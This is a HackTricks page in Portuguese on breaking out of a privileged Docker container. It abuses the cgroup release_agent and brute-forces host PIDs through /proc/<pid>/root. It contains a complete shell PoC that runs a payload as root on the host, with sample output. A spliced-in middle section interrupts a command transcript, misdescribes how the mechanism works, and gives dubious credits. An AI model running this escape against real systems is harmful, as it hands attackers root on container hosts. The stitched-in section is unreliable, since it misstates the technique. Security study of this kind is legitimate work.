hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md
2023-06-06 18:56:34 +00:00

12 KiB

Introdução

Os PoCs anteriores funcionam bem quando o contêiner é configurado com um driver de armazenamento que expõe o caminho completo do host do ponto de montagem, por exemplo, overlayfs, no entanto, existem configurações que não revelam claramente o ponto de montagem do sistema de arquivos do host.

Neste PoC, em vez de usar o caminho onde o contêiner está localizado dentro do sistema de arquivos do host, vamos descobrir um PID do contêiner dentro do host.

Exemplos de contêiner que não expõem a localização do caminho dentro do host

Kata Containers

root@container:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)

O Kata Containers por padrão monta o sistema de arquivos raiz de um contêiner sobre 9pfs. Isso não revela nenhuma informação sobre a localização do sistema de arquivos do contêiner na Máquina Virtual do Kata Containers.

Device Mapper

root@container:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0

Eu vi um container com este ponto de montagem raiz em um ambiente ao vivo, acredito que o container estava sendo executado com uma configuração específica de driver de armazenamento devicemapper, mas até agora não consegui replicar esse comportamento em um ambiente de teste.

PoC

A única informação necessária é o caminho completo, relativo ao host do container, de um arquivo para executar dentro do container. Sem ser capaz de discernir isso a partir dos pontos de montagem dentro do container, precisamos procurar em outro lugar.

/proc/<pid>/root

O pseudo-sistema de arquivos /proc do Linux expõe as estruturas de dados do processo do kernel para todos os processos em execução em um sistema, incluindo aqueles em diferentes namespaces, por exemplo, dentro de um container. Isso pode ser mostrado executando um comando em um container e acessando o diretório /proc do processo no host:Container.

root@container:~$ sleep 100
root@host:~$ ps -eaf | grep sleep
root     28936 28909  0 10:11 pts/0    00:00:00 sleep 100
root@host:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x   9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov  9 15:41 ..
dr-xr-xr-x   2 root root 0 Nov 19 10:04 attr
-rw-r--r--   1 root root 0 Nov 19 10:04 autogroup
-r--------   1 root root 0 Nov 19 10:04 auxv
-r--r--r--   1 root root 0 Nov 19 10:03 cgroup
--w-------   1 root root 0 Nov 19 10:04 clear_refs
-r--r--r--   1 root root 0 Nov 19 10:04 cmdline
...
-rw-r--r--   1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx   1 root root 0 Nov 19 10:29 root -> /
-rw-r--r--   1 root root 0 Nov 19 10:29 sched
...

Como observação, a estrutura de dados /proc/<pid>/root é algo que me confundiu por muito tempo, eu nunca conseguia entender por que ter um link simbólico para / era útil, até que eu li a definição real nas páginas do manual:

/proc/[pid]/root

UNIX e Linux suportam a ideia de um root do sistema de arquivos por processo, definido pelo sistema de chamada chroot(2). Este arquivo é um link simbólico que aponta para o diretório raiz do processo e se comporta da mesma forma que exe e fd/*.

No entanto, observe que este arquivo não é apenas um link simbólico. Ele fornece a mesma visão do sistema de arquivos (incluindo namespaces e o conjunto de montagens por processo) que o próprio processo.

O link simbólico /proc/<pid>/root pode ser usado como um caminho relativo ao host para qualquer arquivo dentro de um contêiner:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100
root@host:~$ cat /proc/`pidof sleep`/root/findme
findme

{% hint style="warning" %} Isso muda o requisito para o ataque de conhecer o caminho completo, relativo ao host do contêiner, de um arquivo dentro do contêiner, para conhecer o pid de qualquer processo em execução no contêiner. {% endhint %}

Pid Bashing

Isso é realmente a parte fácil, ids de processo no Linux são numéricos e atribuídos sequencialmente. O processo init é atribuído ao processo id 1 e todos os processos subsequentes são atribuídos a ids incrementais. Para identificar o pid do processo host de um processo dentro de um contêiner, pode ser usada uma busca incremental de força bruta:

root@container:~$ echo findme > /findme
root@container:~$ sleep 100

Explorando o Docker para Escalação de Privilégios: O Exploit do Release Agent usando Caminhos Relativos para PIDs

Descrição

Este exploit aproveita o recurso do Docker de permitir que um contêiner execute um script de shell como um release agent quando o contêiner é desligado. O script de shell é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.

Detalhes

Quando um contêiner é desligado, o Docker executa um script de shell como um release agent. O script é executado com privilégios de root e pode ser usado para executar comandos maliciosos no host. O exploit usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.

O exploit funciona da seguinte maneira:

  1. O atacante cria um contêiner Docker com um script de shell malicioso como release agent.
  2. O atacante desliga o contêiner.
  3. O Docker executa o script de shell como release agent com privilégios de root.
  4. O script de shell usa caminhos relativos para PIDs para contornar as restrições de segurança do Docker e executar comandos no host.

O exploit pode ser usado para executar comandos maliciosos no host, como adicionar um usuário com privilégios de root, instalar um backdoor ou roubar informações confidenciais.

Mitigação

Para mitigar esse exploit, siga estas práticas recomendadas:

  • Não permita que contêineres executem scripts de shell como release agents.
  • Use o Docker em modo seguro para limitar o acesso do contêiner ao host.
  • Use o SELinux ou o AppArmor para restringir as ações do contêiner no host.
  • Monitore o sistema em busca de atividades suspeitas.

Créditos

Este exploit foi descoberto por Felix Wilhelm e apresentado na conferência Black Hat Europe 2017.

root@host:~$ COUNTER=1
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
root@host:~$ echo ${COUNTER}
7822
root@host:~$ cat /proc/${COUNTER}/root/findme
findme

Colocando Tudo Junto

Para completar este ataque, a técnica de força bruta pode ser usada para adivinhar o PID para o caminho /proc/<pid>/root/payload.sh, com cada iteração escrevendo o caminho do PID adivinhado no arquivo release_agent dos cgroups, acionando o release_agent e verificando se um arquivo de saída é criado.

A única ressalva com esta técnica é que ela não é de forma alguma sutil e pode aumentar muito o número de PIDs. Como nenhum processo de longa duração é mantido em execução, isso não deveria causar problemas de confiabilidade, mas não me cite sobre isso.

O PoC abaixo implementa essas técnicas para fornecer um ataque mais genérico do que o apresentado inicialmente no PoC original de Felix para escapar de um contêiner privilegiado usando a funcionalidade do arquivo release_agent dos cgroups:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Executar o PoC dentro de um container privilegiado deve fornecer uma saída semelhante a:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥